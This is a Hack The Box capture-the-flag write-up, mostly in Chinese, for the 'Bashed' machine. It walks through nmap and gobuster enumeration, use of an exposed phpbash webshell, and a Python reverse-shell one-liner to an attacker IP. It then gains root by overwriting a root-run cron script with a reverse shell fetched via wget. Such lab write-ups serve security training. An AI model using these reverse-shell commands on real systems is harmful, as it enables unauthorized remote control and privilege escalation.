[Hack The Box] Bashed- writeup

💀 OS: linux 💀 Difficulty: easy 💀 Release date: 2017.12.10 💀 Vulnerability : File Misconfiguration, Web

Scanning and Enumeration:

nmap:

┌──(root💀kali)-[~]
└─# nmap -sC -sV 10.10.10.68
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-21 21:08 EST
Nmap scan report for 10.10.10.68
Host is up (0.22s latency).
Not shown: 999 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.52 seconds

gobuster:

┌──(root💀kali)-[~]
└─# gobuster dir -u http://10.10.10.68/ -w /user/share/dirb/wordlists/common.txt -x txt,php,py,cgi
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.68/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php,py,cgi
[+] Timeout: 10s
===============================================================
2021/12/21 21:22:35 Starting gobuster in directory enumeration mode
===============================================================
/.hta.txt (Status: 403) [Size: 294]
/.hta.php (Status: 403) [Size: 294]
/.hta (Status: 403) [Size: 290]
/.hta.py (Status: 403) [Size: 293]
/.hta.cgi (Status: 403) [Size: 294]
/.htaccess (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/.htaccess.php (Status: 403) [Size: 299]
/.htpasswd.txt (Status: 403) [Size: 299]
/.htaccess.py (Status: 403) [Size: 298]
/.htpasswd.php (Status: 403) [Size: 299]
/.htaccess.cgi (Status: 403) [Size: 299]
/.htpasswd.py (Status: 403) [Size: 298]
/.htaccess.txt (Status: 403) [Size: 299]
/.htpasswd.cgi (Status: 403) [Size: 299]
/config.php (Status: 200) [Size: 0] 
/css (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/dev (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/fonts (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
/images (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/index.html (Status: 200) [Size: 7743] 
/js (Status: 301) [Size: 307] [--> http://10.10.10.68/js/] 
/php (Status: 301) [Size: 308] [--> http://10.10.10.68/php/] 
/server-status (Status: 403) [Size: 299] 
/uploads (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
===============================================================
2021/12/21 21:31:09 Finished
===============================================================


找到了/dev/ 資料夾,打開瀏覽器輸入http://10.10.10.68/dev/
直接打開http://10.10.10.68/dev/phpbash.php就可以拿到一個最基本的shell了
目前這個使用者是www-data權限,並且也可以瀏覽 /home/xxx/user.txt。

再來可以使用python的reverseshell將shell反射到自己的terminal上會比較好操作

localhost: nc -nlvp 4444
phpbash: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<localhost IP>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Privilege Escalation:

提權起手式:sudo -l,這邊得知scriptmanager這個使用者可以使用sudo並且不用密碼,所以說現在必須先取得scriptmanager這個使用者權限。

這邊要切換過去有兩種思路:
1.sudo -u scriptmanager /bin/bash
2.sudo -i -u scriptmanager


在根目錄下面發現有一個scripts資料夾權限是由scriptmanager控制,進去之後發現有兩個檔案

從test.py內容發現它會將test123!放入test.txt當中,並且可以發現test.txt每兩分鐘就更新一次

更神奇的地方是明明是scriptmanager權限的檔案,卻可以產出一份root權限的檔案

這邊就合理懷疑有一支root權限bot每2分鐘執行一次test.py

所以這邊可以將reverse shell  寫在test.py 來讓bot執行進而取得root權限!!


主要目的為把reverse shell寫入test.py,但是當前取得的shell很難操作,vim超級難用!

我的做法為在本地端創建好一份新的test.py(chmod + x)

並且開啟http server隨後再到靶機內部使用wget把檔案載過去

f = open("test.txt", "w")
f.write("testing 123!")
f.close

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.17.219",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

localhost: python -m SimpleHTTPServer 9006
bashed: wget http://10.10.17.219:9006/test.py

最後在本地 nc -nlvp 9999等待reverse shell被執行!! 成功取得root!!

Reflections:

這台最大的問題我認為是存在一個可以公開訪問的webshell,這種情況在現實生活中應該見不到

開發人員大概以為沒有人可以找到/dev/ ,但是用gobuster卻一下子就找到

test.py也不應該使用root權限執行,這屬於安全性配置錯誤

整體來說這台機器難度算是非常簡單的,很適合新手練習

 

reference:

github – phpbash

發佈留言

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *